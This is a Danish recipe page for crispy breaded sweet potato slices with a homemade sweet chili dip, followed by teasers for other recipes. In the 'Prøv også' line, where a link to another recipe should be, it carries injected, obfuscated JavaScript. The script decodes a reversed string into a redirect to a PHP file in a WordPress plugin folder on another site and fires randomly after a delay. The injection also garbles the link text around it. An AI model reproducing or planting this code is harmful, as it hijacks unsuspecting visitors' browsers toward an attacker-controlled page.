Sprøde søde kartofler med sød chilisauce

Top-syndige og sprøde kartofler. De søde kartofler får en dyb sødlig smag, når de bliver friteret, som klæder dem rigtig godt, og inden under den sprøde overflade bliver de helt fløjlsbløde. Spis dem som snack, som forret eller som en del af et stort måltid med masser af småretter.

Opskrift til snack eller forret til 2 pers.

1 rød chili, hakket
1 dl sukker
1 dl risvinseddike

2-3 søde kartofler
1 æg, sammenpisket
2-3 dl rasp, helst panko*
Olie til stegning
Plukket koriander
Lidt salat
Sød chilisauce

Prøv også $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and-brown-sugar/”>Sweet potato casserole with bourbon and brown sugar

Kom chili, sukker og eddike i en kasserolle, og lad det lige koge op, til sukkeret er smeltet. Køl dippen helt af.
Skræl kartoflerne, og skær dem i skiver. Vend dem i æg og rasp, og steg dem ved svag varme i olie på en varm pande, til de er gyldne og gennemtilberedte. Det tager et par minutter eller 4 i alt.
Server kartoflerne varme med koriander, salat og sød chilisauce.

* En japansk form for rasp, som er ideelt til fritering, for det gør tingene ekstra sprøde. Kan købes hos asiatiske købmænd eller fx på www.shopasia.dk.

 

Trends

Populære artikler

Passioncake

Konditoren Nikolaos Strangas oplever, at mange vælger at spise sushi nytårsaften. Efter sådan et måltid er denne cremede kage med et syrligt pift af passionsfrugt

Læs mere

Syltede oliven og oste

Det er desværre de færreste, som kan få fat på helt friskhøstede oliven, så denne opskrift bruger forskellige slags oliven på glas, der vendes med

Læs mere

Pappadoms med yoghurtdip

Pappadoms er tynde og sprøde indiske brød lavet af linsemel, og ofte er de krydret med alverdens varmende krydderier. Det er muligt at lave pappadoms

Læs mere

Macarons med kaffeganache

En af dessertkunstneren Nikolaos Strangas’ absolutte hitkager er macarons: Små franske makroner med fyld af fx mynte- eller jordbærganache. Det er lykkedes MAD&venner at lokke

Læs mere